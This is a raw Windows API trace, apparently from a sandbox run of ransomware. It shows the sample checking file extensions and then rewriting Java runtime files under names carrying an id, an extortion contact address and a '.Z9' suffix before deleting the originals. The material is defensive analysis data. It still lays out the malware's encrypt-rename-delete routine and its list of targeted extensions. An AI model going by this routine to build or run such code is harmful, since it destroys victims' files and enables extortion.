	[0092.992] lstrlenW (lpString=".bz2") returned 4
	[0092.992] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.992] lstrlenW (lpString=".7z") returned 3
	[0092.992] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0092.992] lstrlenW (lpString=".dbf") returned 4
	[0092.992] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0092.992] lstrlenW (lpString=".1cd") returned 4
	[0092.992] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0092.992] lstrlenW (lpString=".jpg") returned 4
	[0092.992] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0092.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0092.992] lstrlenW (lpString=".doc") returned 4
	[0092.992] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.992] lstrlenW (lpString=".docx") returned 5
	[0092.992] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0092.992] lstrlenW (lpString=".pdf") returned 4
	[0092.992] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.992] lstrlenW (lpString=".xls") returned 4
	[0092.993] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.993] lstrlenW (lpString=".xlsx") returned 5
	[0092.993] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0092.993] lstrlenW (lpString=".ppt") returned 4
	[0092.993] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0092.993] lstrlenW (lpString=".zip") returned 4
	[0092.993] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.993] lstrlenW (lpString=".rar") returned 4
	[0092.993] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.993] lstrlenW (lpString=".bz2") returned 4
	[0092.993] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.993] lstrlenW (lpString=".7z") returned 3
	[0092.993] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0092.993] lstrlenW (lpString=".dbf") returned 4
	[0092.993] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0092.993] lstrlenW (lpString=".1cd") returned 4
	[0092.993] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0092.993] lstrlenW (lpString=".jpg") returned 4
	[0092.993] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.993] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.993] lstrlenW (lpString="j2pcsc.dll") returned 10
	[0092.993] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0093.009] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=19008) returned 1
	[0093.010] CloseHandle (hObject=0x388) returned 1
	[0093.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 0x20
	[0093.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.010] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0093.010] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.010] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.010] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0093.011] GetLastError () returned 0x0
	[0093.011] ReadFile (in: hFile=0x388, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x4a40, lpOverlapped=0x0) returned 1
	[0093.015] WriteFile (in: hFile=0x324, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x4a50, lpOverlapped=0x0) returned 1
	[0093.016] ReadFile (in: hFile=0x388, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.016] WriteFile (in: hFile=0x324, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0093.016] SetEndOfFile (hFile=0x324) returned 1
	[0093.017] CloseHandle (hObject=0x324) returned 1
	[0093.018] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.018] SetEndOfFile (hFile=0x388) returned 1
	[0093.019] CloseHandle (hObject=0x388) returned 1
	[0093.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.019] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 1
	[0093.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0093.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0093.022] lstrlenW (lpString=".doc") returned 4
	[0093.022] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.022] lstrlenW (lpString=".docx") returned 5
	[0093.022] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1
	[0093.023] lstrlenW (lpString=".pdf") returned 4
	[0093.023] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.023] lstrlenW (lpString=".xls") returned 4
	[0093.023] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.023] lstrlenW (lpString=".xlsx") returned 5
	[0093.023] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1
	[0093.023] lstrlenW (lpString=".ppt") returned 4
	[0093.023] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0093.023] lstrlenW (lpString=".zip") returned 4
	[0093.023] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.023] lstrlenW (lpString=".rar") returned 4
	[0093.023] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.023] lstrlenW (lpString=".bz2") returned 4
	[0093.023] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.023] lstrlenW (lpString=".7z") returned 3
	[0093.023] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0093.023] lstrlenW (lpString=".dbf") returned 4
	[0093.023] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0093.023] lstrlenW (lpString=".1cd") returned 4
	[0093.023] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0093.023] lstrlenW (lpString=".jpg") returned 4
	[0093.023] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0093.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0093.023] lstrlenW (lpString=".doc") returned 4
	[0093.023] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.023] lstrlenW (lpString=".docx") returned 5
	[0093.023] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1
	[0093.023] lstrlenW (lpString=".pdf") returned 4
	[0093.023] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.023] lstrlenW (lpString=".xls") returned 4
	[0093.024] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.024] lstrlenW (lpString=".xlsx") returned 5
	[0093.024] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1
	[0093.024] lstrlenW (lpString=".ppt") returned 4
	[0093.024] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0093.024] lstrlenW (lpString=".zip") returned 4
	[0093.024] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.024] lstrlenW (lpString=".rar") returned 4
	[0093.024] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.024] lstrlenW (lpString=".bz2") returned 4
	[0093.024] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.024] lstrlenW (lpString=".7z") returned 3
	[0093.024] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0093.024] lstrlenW (lpString=".dbf") returned 4
	[0093.024] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0093.024] lstrlenW (lpString=".1cd") returned 4
	[0093.024] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0093.024] lstrlenW (lpString=".jpg") returned 4
	[0093.024] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.024] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0093.024] lstrlenW (lpString="jaas_nt.dll") returned 11
	[0093.024] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0093.025] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=21056) returned 1
	[0093.025] CloseHandle (hObject=0x374) returned 1
	[0093.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 0x20
	[0093.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.028] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0093.028] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.028] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.028] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0093.029] GetLastError () returned 0x0
	[0093.029] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x5240, lpOverlapped=0x0) returned 1
	[0093.046] WriteFile (in: hFile=0x388, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x5250, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x5250, lpOverlapped=0x0) returned 1
	[0093.048] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.048] WriteFile (in: hFile=0x388, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xea, lpOverlapped=0x0) returned 1
	[0093.049] SetEndOfFile (hFile=0x388) returned 1
	[0093.049] CloseHandle (hObject=0x388) returned 1
	[0093.049] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.049] SetEndOfFile (hFile=0x374) returned 1
	[0093.050] CloseHandle (hObject=0x374) returned 1
	[0093.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.050] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 1
	[0093.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0093.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0093.050] lstrlenW (lpString=".doc") returned 4
	[0093.050] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.050] lstrlenW (lpString=".docx") returned 5
	[0093.050] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0093.050] lstrlenW (lpString=".pdf") returned 4
	[0093.050] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.050] lstrlenW (lpString=".xls") returned 4
	[0093.050] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.050] lstrlenW (lpString=".xlsx") returned 5
	[0093.050] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0093.050] lstrlenW (lpString=".ppt") returned 4
	[0093.050] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0093.051] lstrlenW (lpString=".zip") returned 4
	[0093.051] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.051] lstrlenW (lpString=".rar") returned 4
	[0093.051] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.051] lstrlenW (lpString=".bz2") returned 4
	[0093.051] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.051] lstrlenW (lpString=".7z") returned 3
	[0093.051] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0093.051] lstrlenW (lpString=".dbf") returned 4
	[0093.051] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0093.051] lstrlenW (lpString=".1cd") returned 4
	[0093.051] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0093.051] lstrlenW (lpString=".jpg") returned 4
	[0093.051] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0093.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0093.051] lstrlenW (lpString=".doc") returned 4
	[0093.051] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.051] lstrlenW (lpString=".docx") returned 5
	[0093.051] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0093.051] lstrlenW (lpString=".pdf") returned 4
	[0093.051] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.051] lstrlenW (lpString=".xls") returned 4
	[0093.051] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.051] lstrlenW (lpString=".xlsx") returned 5
	[0093.051] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0093.051] lstrlenW (lpString=".ppt") returned 4
	[0093.051] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0093.051] lstrlenW (lpString=".zip") returned 4
	[0093.051] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.051] lstrlenW (lpString=".rar") returned 4
	[0093.051] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.052] lstrlenW (lpString=".bz2") returned 4
	[0093.052] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.052] lstrlenW (lpString=".7z") returned 3
	[0093.052] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0093.052] lstrlenW (lpString=".dbf") returned 4
	[0093.052] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0093.052] lstrlenW (lpString=".1cd") returned 4
	[0093.052] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0093.052] lstrlenW (lpString=".jpg") returned 4
	[0093.052] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.052] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0093.052] lstrlenW (lpString="java.exe") returned 8
	[0093.052] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0093.052] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=206912) returned 1
	[0093.052] CloseHandle (hObject=0x374) returned 1
	[0093.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 0x20
	[0093.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.053] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0093.053] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.053] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.053] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0093.053] GetLastError () returned 0x0
	[0093.053] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x32840, lpOverlapped=0x0) returned 1
	[0093.078] WriteFile (in: hFile=0x388, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x32850, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x32850, lpOverlapped=0x0) returned 1
	[0093.081] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.082] WriteFile (in: hFile=0x388, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0093.082] SetEndOfFile (hFile=0x388) returned 1
	[0093.216] CloseHandle (hObject=0x388) returned 1
	[0093.216] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.216] SetEndOfFile (hFile=0x374) returned 1
	[0093.230] CloseHandle (hObject=0x374) returned 1
	[0093.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.230] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 1
	[0093.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0093.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0093.230] lstrlenW (lpString=".doc") returned 4
	[0093.230] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0093.230] lstrlenW (lpString=".docx") returned 5
	[0093.230] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1
	[0093.231] lstrlenW (lpString=".pdf") returned 4
	[0093.231] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0093.231] lstrlenW (lpString=".xls") returned 4
	[0093.231] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0093.231] lstrlenW (lpString=".xlsx") returned 5
	[0093.231] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1
	[0093.231] lstrlenW (lpString=".ppt") returned 4
	[0093.231] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0093.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0093.231] lstrlenW (lpString=".zip") returned 4
	[0093.231] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0093.231] lstrlenW (lpString=".rar") returned 4
	[0093.231] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0093.231] lstrlenW (lpString=".bz2") returned 4
	[0093.231] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0093.231] lstrlenW (lpString=".7z") returned 3
	[0093.231] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0093.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0093.231] lstrlenW (lpString=".dbf") returned 4
	[0093.231] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0093.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0093.231] lstrlenW (lpString=".1cd") returned 4
	[0093.231] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0093.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0093.231] lstrlenW (lpString=".jpg") returned 4
	[0093.231] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0093.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0093.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0093.263] lstrlenW (lpString=".doc") returned 4
	[0093.263] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
